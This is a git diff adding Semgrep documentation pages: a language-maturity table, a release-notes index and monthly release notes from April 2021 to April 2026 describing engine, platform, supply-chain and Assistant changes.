+| Number of Pro rules | 10\+ | 5\+ | 0\+. Query the [Registry](https://semgrep.dev/r) to see if any rules exist for your language. | 0\+. Query the [Registry](https://semgrep.dev/r) to see if any rules exist for your language. |
+| Semgrep syntax | Regex, equivalence, deep expression operators, types and typing. All features supported in Beta. | Complete metavariable support, metavariable equality. All features supported in Experimental. | Syntax, ellipsis operator, basic metavariable functionality. | Syntax, ellipsis operator, basic metavariable functionality. |
+
+## Semgrep Supply Chain
+
+Semgrep Supply Chain has two language maturity levels:
+
+- Generally available
+- Beta
+
+| Feature | Generally available | Beta |
+| :--- | :--- | :--- |
+| Number of reachability rules | As defined by [CVE coverage](/semgrep-supply-chain/sca-feature-support#cve-coverage). | All critical severity CVEs from [supported sources](/semgrep-supply-chain/sca-feature-support#supported-sources) starting 2022 onwards, for packages used by customers with an active, paid subscription. |
+| Semgrep, Inc. rule-writing support | Quickly support CVE coverage with reachability analysis for all critical and high vulnerabilities based on the latest [security advisories](https://nvd.nist.gov/vuln). | Coverage for CVEs but without reachability analysis. |
+| [Semgrep Community Edition (CE) language support](/supported-languages#semgrep-oss-language-support) | Semgrep CE support is GA. | Semgrep CE support is at least Beta. |
+
+Not finding what you need in this doc? Ask questions in our [Community Slack group](https://go.semgrep.dev/slack), or see [Support](/support/) for other ways to get help.
diff --git a/mintlify-docs/release-notes.mdx b/mintlify-docs/release-notes.mdx
new file mode 100644
index 0000000000..6160198a9e
--- /dev/null
+++ b/mintlify-docs/release-notes.mdx
@@ -0,0 +1,124 @@
+---
+title: "Semgrep release notes"
+rss: true
+---
+
+
+## [May 2026](/release-notes/may-2026)
+
+The following updates were made to Semgrep during the week of May 18, 2026.
+
+
+
+
+
+
+
+## [April 2026](/release-notes/april-2026)
+
+The following updates were made to Semgrep in April 2026.
+
+
+
+
+
+
+
+## [March 2026](/release-notes/march-2026)
+
+The following updates were made to Semgrep in March 2026.
+
+
+
+
+
+
+
+## [February 2026](/release-notes/february-2026)
+
+The following updates were made to Semgrep in February 2026.
+
+
+
+
+
+
+
+## [January 2026](/release-notes/january-2026)
+
+The following updates were made to Semgrep in January 2026.
+
+
+
+
+
+
+
+## [December 2025](/release-notes/december-2025)
+
+The following updates were made to Semgrep in December 2025.
+
+
+
+
+
+
+
+## [November 2025](/release-notes/november-2025)
+
+The following updates were made to Semgrep in November 2025.
+
+
+
+
+
+
+
+## [October 2025](/release-notes/october-2025)
+
+The following updates were made to Semgrep in October 2025.
+
+
+
+
+
+
+
+## [September 2025](/release-notes/september-2025)
+
+The following updates were made to Semgrep in September 2025.
+
+
+
+
+
+
+
+## [August 2025](/release-notes/august-2025)
+
+The following updates were made to Semgrep in August 2025.
+
+
+
+
+
+
+
+## [July 2025](/release-notes/july-2025)
+
+The following updates were made to Semgrep in July 2025.
+
+
+
+
+
+
+
+## [June 2025](/release-notes/june-2025)
+
+The following updates were made to Semgrep in June 2025.
+
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/release-notes/all-release-notes.mdx b/mintlify-docs/release-notes/all-release-notes.mdx
new file mode 100644
index 0000000000..86ea93a063
--- /dev/null
+++ b/mintlify-docs/release-notes/all-release-notes.mdx
@@ -0,0 +1,6 @@
+---
+title: "Older updates"
+---
+
+Release notes only include updates made since April 2021. To find information about older updates, see the [Semgrep GitHub changelog](https://github.com/semgrep/semgrep/releases).
+
diff --git a/mintlify-docs/release-notes/april-2021.mdx b/mintlify-docs/release-notes/april-2021.mdx
new file mode 100644
index 0000000000..3d0c2d902b
--- /dev/null
+++ b/mintlify-docs/release-notes/april-2021.mdx
@@ -0,0 +1,85 @@
+---
+title: "April 2021"
+description: "April 30, 2021 · 2 min read"
+rss: true
+---
+
+
+## Version 0.49.0
+
+### Additions
+
+- Support for matching multiple arguments with a metavariable ([#3009](https://github.com/semgrep/semgrep/issues/3009)). This is done with a "spread metavariable" operator that looks like $...ARGS. This used to be available only for JavaScript and TypeScript, and is now available for the other languages (Python, Java, Go, C, Ruby, PHP, and OCaml).
+- A new --optimizations [STR] command-line flag to turn on or off some optimizations. Use "none" to turn off everything and "all" to turn on everything. Just using `--optimizations` is equivalent to `--optimizations` all, and not using `--optimizations` is equivalent to `--optimizations` none.
+- JavaScript/TypeScript: Support `...` inside JSX text to match any text, as in `...`. ([#2963](https://github.com/semgrep/semgrep/issues/2963))
+- JavaScript/TypeScript: Support metavariables for JSX attribute values, as in `some text`. ([#2964](https://github.com/semgrep/semgrep/issues/2964))
+
+### Fixes
+
+- Python: correctly parsing fstring with multiple colons
+- Ruby: better matching for interpolated strings ([#2826](https://github.com/semgrep/semgrep/issues/2826) and[#2949](https://github.com/semgrep/semgrep/issues/2949))
+- Ruby: correctly matching numbers
+
+### Changes
+
+- Add required executionSuccessful attribute to SARIF output ([#2983](https://github.com/semgrep/semgrep/pull/2983)). Thanks to[Simon Engledew](https://github.com/simon-engledew)!
+- Remove jsx and tsx from languages, instead just use javascript or typescript ([#3000](https://github.com/semgrep/semgrep/pull/3000))
+- Add limit max characters in the output line (#2958) and add a flag to control maximum characters (defaults to 160). Thanks to[Ankush Menat](https://github.com/ankush)!
+
+## Version 0.48.0
+
+### Additions
+
+- Taint mode: Basic cross-function analysis ([#2913](https://github.com/semgrep/semgrep/pull/2913))
+- Support for the new Java record extension and Java symbols with accented characters ([#2704](https://github.com/semgrep/semgrep/issues/2704))
+
+### Fixes
+
+- Capturing functions when used as both expressions and statements in JavaScript ([#1007](https://github.com/semgrep/semgrep/issues/1007))
+- Literal for ocaml tree sitter ([#2885](https://github.com/semgrep/semgrep/issues/2885))
+
+### Changes
+
+- The extra lines data is now consistent across scan types (e.g., semgrep-core, spacegrep, pattern-regex)
+
+## Version 0.47.0
+
+### Additions
+
+- Java: support of for(...)
+- Rust: Semgrep patterns now support top-level statements ([#2910](https://github.com/semgrep/semgrep/pull/2910))
+- Support for UTF-8 code with non-ASCII chars ([#2944](https://github.com/semgrep/semgrep/pull/2944))
+
+### Fixes
+
+- Single field pattern in JSON, allowing $FLD: \{ ... \} pattern
+- Config detection in files with many suffix delimiters, like this.that.check.yaml. More concretely: configs end with .yaml, YAML language tests end with .test.yaml, and everything else is handled by its respective language extension (e.g., .py).
+- Single array field in YAML in a pattern is parsed as a field, not a one element array
+
+## Version 0.46.0
+
+### Additions
+
+- YAML language support to --test
+
+### Fixes
+
+- SARIF output now nests invocations inside runs
+- Go backslashed carets in regexes can be parsed
+
+### Changes
+
+- Deep expression matches (<... foo ...>) now match within the bodies of anonymous functions (a.k.a. lambda-expressions) and arbitrary language-specific statements (e.g., the Golang go statement)
+
+## Version 0.45.0
+
+### Additions
+
+- --experimental flag for passing rules directly to semgrep-core ([#2836](https://github.com/semgrep/semgrep/pull/2836))
+
+### Fixes
+
+- Ellipses in template strings don't match string literals ([#2780](https://github.com/semgrep/semgrep/issues/2780))
+- Go: correctly parse select/switch clauses like in tree-sitter ([#2847](https://github.com/semgrep/semgrep/issues/2847))
+- Go: parse correctly 'for ...' header in Go patterns ([#2838](https://github.com/semgrep/semgrep/issues/2838))
+
diff --git a/mintlify-docs/release-notes/april-2022.mdx b/mintlify-docs/release-notes/april-2022.mdx
new file mode 100644
index 0000000000..db204b9fca
--- /dev/null
+++ b/mintlify-docs/release-notes/april-2022.mdx
@@ -0,0 +1,51 @@
+---
+title: "April 2022"
+description: "April 30, 2022 · 3 min read"
+rss: true
+---
+
+
+These release notes now include edited important and breaking changes. To see the complete change notes, visit the [Semgrep changelog](https://github.com/semgrep/semgrep/releases).
+
+## Semgrep App
+
+### Additions
+
+- You can now search for a rule within your Rule Board.
+- A `Comment` column within the Rule Board enables Semgrep App to create suggestions and messages within Pull Requests (PRs) or Merge Requests (MR) based on the rule's `autofix` and `message` values.
+
+### Changes
+
+- Unlisted rule visibility has been renamed to Public within the Editor.
+- The `Audit` column within the Rule Board has been renamed to `Monitor`. Findings generated by rules within this column are displayed only on Semgrep App.
+
+ 
+
+
+## Semgrep CLI and Semgrep in CI
+
+These release notes encompass upgrades for all versions ranging between **0.87.0** and **0.90.0**.
+
+### Changes
+
+- For GitHub Enterprise users: Semgrep CI uses `GITHUB_SERVER_URL` to generate URLs if it is available.
+- When running a baseline scan on a shallow-cloned Git repository, Semgrep still needs enough Git history available to reach the branch-off point between the baseline and current branch. Previously, Semgrep tried to gradually fetch more and more commits up to a thousand commits of history, and then fetch all commits from the remote Git server. Now, Semgrep keeps trying smaller batches until up to a million commits. This change reduces runtimes on large baseline scans on very large repositories.
+- You can now set `NO_COLOR=1` to force-disable colored output.
+
+### Breaking changes
+
+- taint-mode: Unification of metavariables between sources and sinks is no longer enforced by default. It was not clear that this is the most natural behavior as it was confusing even for experienced Semgrep users. Instead, each set of metavariables is now considered independent by Semgrep. The metavariables available to the rule message are all metavariables bound by `pattern-sinks`, and the subset of metavariables bound by `pattern-sources` that do not collide with the ones bound by `pattern-sinks`. We do not expect this change to break many taint rules because source-sink metavariable unification had a bug (see [#4464](https://github.com/semgrep/semgrep/issues/4453)) that prevented metavariables bound by a `pattern-inside` to be unified, thus limiting the usefulness of the feature. Nonetheless, it is still possible to enforce metavariable unification by setting `taint_unify_mvars: true` in the rule options. For more information, see section [Metavariables, rule message, and unification](/writing-rules/data-flow/taint-mode/advanced#metavariables-rule-messages-and-unification).
+- The `semgrep/semgrep` Docker image no longer sets `semgrep` as the entry point. This means that Semgrep is no longer prepended automatically to any command you run in the image. This makes it possible to use the image in CI executors that run provisioning commands within the image. Affected users may receive a deprecation notice. Adjust scripts accordingly.
+
+### Additions
+
+- A new `focus-metavariable` operator that enables you to focus (or zoom in) the match on the code region delimited by a metavariable. This operator is useful for narrowing down the code matched by a rule, to focus on what matters. For more information, see [focus-metavariable documentation](/writing-rules/rule-syntax/#focus-metavariable). ([#4453](https://github.com/semgrep/semgrep/issues/4453))
+- Join mode now supports inline rules through the `rules` key underneath the `join` key. For more information, see [Inline rule example](/writing-rules/experiments/join-mode/overview/#inline-rule-example).
+
+Language support improvements:
+- Scala support is now officially fully GA.
+ - Ellipsis method chaining supported.
+ - Type `metavariables` are now supported.
+- Ruby support improvement:
+ - Add basic support for lambdas in patterns. You can now write patterns of the form `-> (P) {Q}` where `P` and `Q` are sub-patterns. ([#4950](https://github.com/semgrep/semgrep/issues/4950))
+
diff --git a/mintlify-docs/release-notes/april-2023.mdx b/mintlify-docs/release-notes/april-2023.mdx
new file mode 100644
index 0000000000..b0589357d8
--- /dev/null
+++ b/mintlify-docs/release-notes/april-2023.mdx
@@ -0,0 +1,149 @@
+---
+title: "April 2023"
+description: "April 30, 2023 · 6 min read"
+rss: true
+---
+
+
+## Semgrep OSS Engine
+
+This section of release notes includes upgrades of Semgrep OSS Engine for versions ranging between 1.17.0 and 1.20.0.
+
+### Added
+
+- Java support: With this update, private static variables that are defined just once in a static block are now considered as `final` by [Constant propagation](/writing-rules/data-flow/constant-propagation), even if they are not explicitly declared.
+- Metavariable comparison: You can now use the exponentiation operator `**` in your expressions when comparing metavariables.
+- Kotlin language support: With this update, Semgrep evaluates class fields with the correct types and can detect these fields accurately with typed metavariables. For example, a class such as the following:
+ ```kotlin
+ class Foo {
+ var x: Int
+ }
+
+ ```
+- Scala language support improvements:
+ - Semgrep can now parse indented matches, such as the following:
+
+ ```scala
+ e match
+ case foo => "foo"
+ case bar => "bar"
+ ```
+
+ - Semgrep now provides improved parsing functionality for arguments with `using` keyword and splatted arguments. With this update, Semgrep can now correctly parse Scala code with constructs such as:
+
+ ```scala
+ foo(using bar)
+ foo(1, 2, bar*)
+ ```
+
+ - Improved parsing functionality for indented `for` expressions in Scala. With this update, Semgrep can now correctly parse `for` expressions that are indented, such as:
+
+ ```scala
+ for
+ _ <- 5
+ yield ...
+ ```
+
+ - Some additional Scala updates that Semgrep now supports:
+ - `enum` constructs
+ - `given` definitions
+ - `export` keyword
+ - Top-level definitions
+ - Added proper parsing for Scala 3 style imports.
+
+### Changed
+
+- Semgrep no longer reports partially analyzed files as skipped when using `--verbose` flag. If Semgrep lacks information about what lines have been skipped, it no longer reports that all lines have been skipped. For example, an error while evaluating a `metavariable-pattern` operator in one rule may cause a finding to be missed and report the file as partially analyzed. However, that error did not affect any other rules, and even the affected rule can produce some findings.
+- Enhancement to the `--verbose` flag output. When you use the `--verbose` flag in the command line, the different lists of skipped files are now sorted alphabetically. This makes it easier to `diff` the outputs of two runs and quickly identify any differences in skipped files.
+- Taint analysis:
+ - Added option `taint_assume_safe_comparisons`, disabled by default, that prevents comparison operators to propagate taint, so for example `tainted != "something"` is not considered tainted. Note that this a syntactic check, if the operator is overloaded to perform a different operation this will not be detected.
+ - Semgrep OSS Engine taint analysis now includes option `taint_assume_safe_comparisons` that prevents comparison operators to propagate taint. For example, `tainted != "something"` is not considered tainted. The `taint_assume_safe_comparisons` is disabled by default. Note that this a syntactic check, if the operator is overloaded to perform a different operation Semgrep does not detect this code.
+
+## Semgrep Code
+
+### Changed
+
+- Improvements to Slack notifications for Semgrep Code scans. See [Semgrep Cloud Platform](#semgrep-cloud-platform).
+- Many Semgrep Pro rules now have rewritten messages. These new rule messages help you to better understand the detected vulnerabilities and enable you to mitigate them with ease. Updates cover all rules associated with the following Common Weakness Enumerations (CWE):
+ - CWE-22 - Path traversal
+ - CWE-78 - Command injection
+ - CWE-89 - SQL Injection
+ - CWE-94 - Code injection
+ - CWE-287 - Improper authentication
+ - CWE-798 - Hardcoded secrets
+ - CWE-918 - Server-Side Request Forgery (SSRF)
+
+## Semgrep Pro Engine
+
+### Added
+
+- Taint analysis: Semgrep Pro Engine now supports simple cases of cross-function (interprocedural) taint labels.
+- Java language support: With this update, Semgrep Pro Engine can track the propagation of taint from the arguments of a method to the called object. For example:
+
+ ```java
+ public void foo(int x) {
+ this.x = x;
+ }
+ ```
+
+ When called with a tainted argument:
+
+ ```java
+ o.foo(tainted);
+ ```
+
+ Semgrep can track and report that the field `x` of `o` has been tainted.
+
+### Changed
+
+- Previously, the `semgrep --pro` command required a directory as its single target. With this update, `semgrep --pro` command is still limited to a single target, but in addition to a whole directory, it can now target files also.
+
+## Semgrep Supply Chain
+
+### Additions
+
+- Semgrep Supply Chain Dependency search is now in beta. Dependency search displays all your direct and transitive dependencies on the **Supply Chain** > **Dependencies** page. You can search for any dependency in all of your repositories in the Semgrep Cloud Platform, provided that their language is supported by Semgrep Supply Chain.
+- Semgrep Supply Chain now supports `package-lock.json` version 3.
+
+### Changes
+
+- Improvements to Slack notifications for Semgrep Supply Chain scans. See [Semgrep Cloud Platform](#semgrep-cloud-platform).
+- Semgrep Supply now parses `go.mod` for a list of dependencies.
+- Semgrep Supply Chain no longer parses `go.sum` for a list of dependencies.
+- The title of Supply Chain findings in the CLI now consists of the package name and CVE, instead of just the rule's UUID.
+
+## Semgrep Cloud Platform
+
+### Additions
+
+- You can now add repositories from Azure Repos into the Semgrep Cloud Platform.
+- Bitbucket PR comments are now available for Bitbucket Cloud users. See the [Enabling Bitbucket pull request comments](/category/bitbucket-pr-comments) to enable PR comments in your repositories.
+
+### Changes
+
+- The Semgrep Slack app has been improved. Create customized subscriptions to Semgrep findings based on Rule board policy (Monitor, Comment, or Block) and other filters for your specific Slack channels. By creating your customized subscriptions, Semgrep only sends notifications about repositories and findings relevant to developers. Security engineers can still receive notifications of all issues across the entire organization’s repositories. See [Receiving Slack notifications](/semgrep-appsec-platform/slack-notifications).
+- Updated the **Settings** > **SSO** page. The page now displays your current SSO settings, if any.
+- Previously, Semgrep automatically associated organization accounts with their corresponding GitHub Cloud or GitLab SaaS organizations. Now, users can choose to connect their Semgrep organization accounts with their repository provider. To associate your Semgrep organization with your repository provider, sign in to Semgrep Cloud Platform, then go to Settings > **Source code** > then select your repository provider.
+- Various improvements to UI consistency and improved layout for wide monitors.
+- Fixed various bugs within the Editor and Playground.
+
+## Documentation updates
+
+### Added
+
+- New section [Semgrep add-on reconciliation of licenses](/usage-and-billing/reconciliation) and [Example of license reconciliation](/usage-and-billing/reconciliation#example-of-license-reconciliation).
+- New section [Updating existing open-source rules in Semgrep Registry](/contributing/contributing-to-semgrep-rules-repository#update-existing-rules-in-semgrep-registry).
+- Added section [Creating rules that analyze across files](/semgrep-code/semgrep-pro-engine-intro/#write-rules-that-analyze-across-files-and-functions) and [Types of Semgrep Pro Engine analysis](/semgrep-code/semgrep-pro-engine-intro#types-of-semgrep-code-analysis).
+- Added [Appendix: Token scopes](/deployment/tokens#token-scopes).
+
+### Changed
+
+- [Notification documentation](/semgrep-appsec-platform/notifications) has been separated into guides for each notification channel, such as Slack or webhooks.
+- Fixed embedded examples in [Semgrep Pro Engine examples](/semgrep-code/semgrep-pro-engine-examples) document.
+- Our [Cheat sheets](/cheat-sheets/overview) now suggest the default ruleset instead of specific rules for you to scan your code.
+- Updated [CLI reference](/cli-reference).
+- Clarified sections [Disable rules](/semgrep-code/policies#disable-rules) and **Removing rulesets**.
+- Known limitations of Semgrep Pro Engine section have been expanded and moved to the [Known limitations of cross-file analysis](/semgrep-code/semgrep-pro-engine-intro#known-limitations-of-cross-file-analysis) document.
+- Fixed various broken links.
+- Fixed various spelling issues.
+
diff --git a/mintlify-docs/release-notes/april-2024.mdx b/mintlify-docs/release-notes/april-2024.mdx
new file mode 100644
index 0000000000..1604b8a81b
--- /dev/null
+++ b/mintlify-docs/release-notes/april-2024.mdx
@@ -0,0 +1,138 @@
+---
+title: "April 2024"
+description: "April 30, 2024 · 5 min read"
+rss: true
+---
+
+
+The following updates were made to Semgrep in April 2024.
+
+## 🌐 Semgrep AppSec Platform
+
+### Added
+
+- The **Teams** feature, which provides project-level role-based access control (RBAC), is now in public beta. This feature enables you to assign **members** to **teams**, and then grant those teams access to specific projects (repositories added to Semgrep).
+ - Teams are crucial to large organizations with hundreds of members and projects. See [ Manage user access to projects](/deployment/teams/overview).
+- The Dashboard now displays the Assistant **priority inbox**, a list of essential tasks that Semgrep Assistant prepares for you each time you log in. {/* 13768 */}
+
+### Changed
+
+- **Editor and playground**: Structure mode has replaced simple mode. Try it out in the [ Playground](https://semgrep.dev/playground/new). Structure mode facilitates the creation of valid Semgrep rules for both power and new users.
+- Semgrep Cloud Platform has been renamed to Semgrep AppSec Platform.
+- The Dashboard now has several UX improvements.
+- The default Bitbucket YAML configuration file has been updated with options for full, diff, and on-demand scans.
+- Improved the process of creating a GitHub Enterprise private Semgrep app. {/* 13675 */}
+- **Settings**: The Semgrep Pro Engine toggle has been renamed to ** Cross-file**.
+
+### Fixed
+
+## 💻 Code
+
+### Added
+
+- Added support for the QL language, which is used by CodeQL.
+- Added the ability to [specify multiple output flags](/getting-started/cli#scan-your-project), which allows users to write output to multiple files in multiple formats, such as SARIF and JSON. For example:
+```bash
+# prints findings in text to standard out and writes JSON output to `findings.json`.
+semgrep ci --json-output=findings.json
+```
+- Added the ability to copy autofix suggestions displayed on the **Findings** page.
+- Added the ability to filter findings generated by Pro rules on the **Findings** page.
+- Added dataflow traces to the SARIF output obtained from the CLI.
+
+### Changed
+
+- Cross-function (intrafile) analysis is now the default for Semgrep Code.
+- Updated how Semgrep parses regex; some rules may need to be updated to comply with stricter regex standards.
+
+### Fixed
+
+- Fixed an issue with interfile diff-aware scans where the removal of pre-existing findings
+didn't work properly when adding a new file or renaming an existing file.
+- Fixed an issue where findings reopened after they were initially removed when the findings metadata was changed.
+- Fixed an issue where bulk triage did not work.
+- **IDE Extensions**: Semgrep waits longer for users to log in from the IDE.
+- **CLI**:
+ - Upon completion, `semgrep ci` sends a message to Semgrep AppSec Platform to mark the scan as completed.
+ - Fixed an issue where `semgrep ci --oss-only` crashed when Semgrep Secrets was enabled.
+
+## ⛓️ Supply Chain
+
+### Changed
+
+- Updated the ecosystem used for Elixir from Mix to Hex.
+
+### Fixed
+
+- Fixed an issue where tooltips for conditionally reachable vulnerabilities were not being displayed. {/* 13775 */}
+
+## 🤖 Semgrep Assistant
+
+### Changed
+
+- Assistant usage is now capped by an hourly rate rather than a monthly limit.
+
+### Fixed
+
+- Fixed an issue where Assistant sent PR or MR comments for Supply Chain and Secrets findings; Assistant should only be doing so for Code findings.
+
+## 🔐 Semgrep Secrets
+
+### Added
+
+- Added a template to the Semgrep Editor to aid in writing custom rules with validators for use with Secrets. Access this template in the Editor by clicking on the small **(+)** plus sign and clicking **HTTP validators**
+
+### Changed
+
+- Users with access to Secrets can view the **Rules > Policies > Secrets** page, even if they have Secrets disabled.
+
+### Fixed
+
+- Fixed an issue where the **Secrets** page filters disappeared after users selected a single filter.
+- Fixed an issue where historical scanning for credentials leaked in Git commits ran on diff-aware scans instead of on full scans.
+- Fixed an issue where users without access to Secrets could still see Secrets settings in Semgrep AppSec Platform.
+
+## 📝 Documentation and knowledge base
+
+### Added
+
+- Added the following new documents:
+ - [ Semantic detection in Java](/semgrep-code/java) - describes how Semgrep reduces false positives through its understanding of the Java language.
+ - [ How to scan your Git history (beta)](/semgrep-secrets/historical-scanning).
+ - [ Write custom validators](/semgrep-secrets/validators)
+ - Added two additional glossaries:
+ - Static analysis and rule writing glossary
+ - Semgrep Code glossary
+- Added a new section for user management on **[Teams (beta)](/deployment/teams/overview)**, an access control feature that enables administrators or managers to assign projects to specific team members.
+- Expanded the documentation on [Semgrep Assistant's new features](/semgrep-multimodal/overview).
+
+### Changed
+
+- Renamed occurrences of Semgrep Cloud Platform to Semgrep AppSec Platform.
+- Edited the [Semgrep FAQ](/faq/overview) for clarity and correctness.
+- Renamed instances of Pro Engine to cross-file or interfile analysis.
+- Rearranged documents under Semgrep Code to better reflect the user journey.
+- Updated documentation on how Semgrep differentiates between **Fixed** and **Removed** statuses.
+- Updated the sample [Bitbucket Pipelines CI configuration](/semgrep-ci/sample-ci-configs#bitbucket-pipelines) file
+- Minor additions and updates:
+ - How Semgrep computes [user limits across multiple orgs](/usage-and-billing/overview).
+ - Findings retention policy.
+- The following knowledge base articles have been updated:
+ - [Scan a monorepo in parts](/kb/semgrep-ci/scan-monorepo-in-parts)
+ - [Failed to run a Git command during a pull request or merge request scan](/kb/semgrep-ci/git-command-errors)
+
+### Fixed
+
+- Fixed some broken links to redirect to the correct doc.
+- Standardized the disuse of trailing slashes in docs URLs.
+
+## 🔧 OSS Engine
+
+The following versions of the OSS Engine were released in April 2024:
+
+
+
+
+
+
+
diff --git a/mintlify-docs/release-notes/april-2025.mdx b/mintlify-docs/release-notes/april-2025.mdx
new file mode 100644
index 0000000000..c536474402
--- /dev/null
+++ b/mintlify-docs/release-notes/april-2025.mdx
@@ -0,0 +1,108 @@
+---
+title: "April 2025"
+description: "April 30, 2025 · 4 min read"
+rss: true
+---
+
+The following updates were made to Semgrep in April 2025.
+
+## 🌐 Semgrep AppSec Platform
+
+### Added
+
+- Added the following information in the Semgrep API:
+ - Rule author information under the `registry_source` field in the Semgrep API. For example, if the source or author of the rule is Semgrep, the value returned is `semgrep`. {/* 20189 */}
+ - CWE information.
+ - OWASP categories.
+ - Technology values, such as `bash` or `curl`.
+- Semgrep Managed Scans now run when a pull request or merge request is reopened.
+
+### Changed
+
+- Jira labels can now support special characters.
+
+### Fixed
+
+- Various fixes and improvements to Teams (role-based access control).
+
+## 💻 Semgrep Code
+
+### Added
+
+- Added a new ruleset to detect **unauthorized** use of AI or LLM libraries, that is, the use of AI without going through security reviews or approval processes. This includes direct API calls, such as `api.openapi.com`, `api.anthropic.com` and libraries in code such as `langchain` and `transformers`. See the [ Semgrep Shadow AI](https://semgrep.dev/shadowAI) page to learn more.
+
+## ⛓️ Semgrep Supply Chain
+
+### Added
+
+- [SBOM export through the Semgrep API](https://semgrep.dev/api/v1/#tag/SupplyChainService/operation/semgrep_app.products.sca.handlers.sbom.openapi_create_sbom_export) is now generally available.
+- [Malicious dependency detection](/semgrep-supply-chain/malicious-dependencies) is now in **public beta**. Semgrep enables you to block pull requests (PRs) or merge requests (MRs) introducing these dependencies. You can also filter for malicious dependency findings, which assists in identifying and removing these dependencies.
+- Added support for PR comments warning users that they may be adding malicious dependencies. {/* 20447 */}
+- **Upgrade guidance** and **click to fix** are now in **private beta** for users with Python projects hosted by GitHub.com and with Semgrep Assistant enabled. With upgrade guidance and click to fix, Supply Chain analyzes your project to surface breaking changes that you must fix as part of a version upgrade. Semgrep AppSec Platform provides you with a one-click option that opens a pull request to:
+ i. Upgrade the dependency to a safe version.
+ ii. Lets the developer know if the upgrade is safe or if there are breaking changes and what those changes are.
+- **Transitive reachability** is now in **private beta**. For JavaScript projects, Semgrep reachability now extends to transitive dependencies.
+
+### Changed
+
+- Increased the rate limit for SBOM exports through the Semgrep API.
+- Improved Supply Chain PR comments by adding separate templates for conditionally reachable and always reachable findings, as well as manual review advice for conditionally reachable findings. {/* 20446 */}
+- Improved the user introduction to Supply Chain to focus on reachable findings. {/* 20290 */}
+- Improved the **Supply Chain > Details** page. {/* 20236 */}
+
+## 🤖 Semgrep Assistant
+
+### Added
+
+- Semgrep Assistant now attempts to create a memory during triage if possible. If Semgrep creates a memory, you'll see a dialog appear, indicating that this has happened, along with a link to the list of your organization's memories for review.
+- Assistant Memories v2 is now in **private beta**:
+ - Managing memories in Semgrep AppSec Platform now occurs under **Policies**, not **Settings**.
+ - Semgrep AppSec Platform displays data on the scope and impact of memories, including the number of findings affected and which findings affected
+ - Assistant now provides **suggested memories**, which are those that Assistant has generated based on your past triage actions. You can view these memories at any time in Semgrep AppSec Platform by navigating to **Rules & Policies > Assistant Memories > Suggested**. For each suggestion, you can choose one of the following actions:
+ - Activate the suggested memory to inform Assistant's future advice.
+ - Edit the memory, then activate it.
+ - Delete the memory.
+
+## 🔐 Semgrep Secrets
+
+### Fixed
+
+- Fixed an issue where Semgrep AppSec Platform didn't display the correct number of Secrets findings in the navigation bar.
+
+## 📝 Documentation and knowledge base
+
+### Added
+
+- Semgrep release notes are now available through RSS. You can subscribe to the:
+ - [ Semgrep release notes feed](https://semgrep.dev/release-notes/rss.xml).
+ - [ Semgrep product updates feed](https://semgrep.dev/products/product-updates/rss/).
+- Added information about:
+ - Semgrep Assistant's model providers.
+ - Code security measures for managed scans.
+ - Supported languages for `metavariable-type` rules operator
+ - `metavariable-name` operator.
+
+### Changed
+
+- Minor updates to the Supported Languages documentation.
+- Minor fixes to the following product features:
+ - Assistant auto-triage.
+ - Dataflow analysis in Semgrep AppSec Platform.
+ - Managed scans for Azure DevOps projects.
+ - `.semgrepignore`.
+
+### Fixed
+
+- Minor typo fixes and UI updates.
+
+## 🔧 OSS Engine
+
+The following versions of the OSS Engine were released in April 2025:
+
+
+
+
+
+
+
+
diff --git a/mintlify-docs/release-notes/april-2026.mdx b/mintlify-docs/release-notes/april-2026.mdx
new file mode 100644
index 0000000000..b3a6c94bdb
--- /dev/null
+++ b/mintlify-docs/release-notes/april-2026.mdx
@@ -0,0 +1,112 @@
+---
+title: "April 2026"
+description: "May 12, 2026 · 8 min read"
+rss: true
+---
+
+The following updates were made to Semgrep in April 2026.
+
+## 🌐 Semgrep AppSec Platform
+
+### Added
+
+* Added a prompt for users to log in with their corporate SSO credentials instead of their GitHub or GitLab credentials when their organization has corporate SSO configured.
+* Added workflow execution usage information to the [AI credits dashboard](https://semgrep.dev/orgs/-/settings/usage) so users can see workflow runs alongside scans, triage actions, and fixes.
+* Added the ability to download contributor usage information from **Settings > Usage & Billing**.
+* Added AI-powered detection findings to the findings API endpoint (`GET /api/v1/deployments/{slug}/findings`).
+* Added Jira ticketing support for AI-powered detection findings.
+* Added the ability to manually run full scans for the non-default or non-primary branches using Semgrep Managed Scans.
+* Added the ability to retry Semgrep Managed Scans that failed or didn't complete.
+* **Semgrep Guardian**: added support for a Supply Chain hook.
+
+### Changed
+
+* The interfile analysis engine has been redesigned to improve performance. These improvements change how findings are generated, which might result in additional true positives and fewer false positives.
+* Contributor seat limit alerts now explain that scans continue as a courtesy when an organization exceeds its seat limit, replacing the previous inaccurate "scans will be paused" text.
+* Removed the **Fixed in** time filter option from all **Findings** pages.
+* The **Projects** list now includes Semgrep Managed Scans that are pending or have never started scanning.
+* [Semgrep Playground](https://semgrep.dev/playground/new) is now mobile-friendly.
+
+### Fixed
+
+* Fixed an issue where invalid configurations caused the **Integrations** page to not load. Semgrep now displays a meaningful error and allows users to edit or delete the configuration.
+* Fixed an issue where Semgrep did not save changes when Gradle or Maven registry integration credentials were updated.
+* Fixed an issue where the **Settings > Usage** panel incorrectly showed a subset of seats when a deployment had multiple active licenses for the same product instead of the correct combined total.
+* Fixed an issue where the **Remove user from organization** button was available to **Managers**, allowing them to remove Admin users.
+* Fixed an issue where read-only users could upload CLI scan results and overwrite findings by setting `SEMGREP_REPO_DISPLAY_NAME`. CLI scan endpoints now enforce scan permissions.
+* Fixed an issue where CSV findings exports failed with `IndexError: list index out of range` for some users when a paginated batch returned an empty list.
+* Fixed the `repos` filter on the findings and issues API endpoints to use case-insensitive matching.
+* Fixed an issue where the **provisionally ignored** filter for the public findings API endpoints returned all findings.
+* Fixed an issue where the Jira integration failed to load for deployments that saved their Jira configuration before support for AI-detection findings was added.
+* Fixed an issue with the SARIF trace output for taint mode so that it now uses the correct file URI and includes the sink call trace in `codeFlows`.
+* **IDE**: fixed an issue where network errors occurring during token verification resulted in saved tokens being cleared.
+* Minor UI fixes.
+
+## 💻 Semgrep Code
+
+### Added
+
+* The **finding details** page now displays the reason why a finding was ignored at the top. Users no longer need to go to the **Activity** section to see this information.
+* Added the findings count and a link to view findings to the AI-powered detection scan progress timeline.
+* Added AI-powered detection findings to the Findings CSV export file.
+* Improved support for variadic functions in taint-tracking mode.
+* **Scala**: added `tree-sitter` parser to improve parsing accuracy.
+
+### Fixed
+
+* Fixed an issue where the AI-powered detection scan time estimate was overinflated.
+* Fixed an issue where Autofix wasn't able to create a GitHub pull request due to the Semgrep GitHub app requesting insufficient permissions.
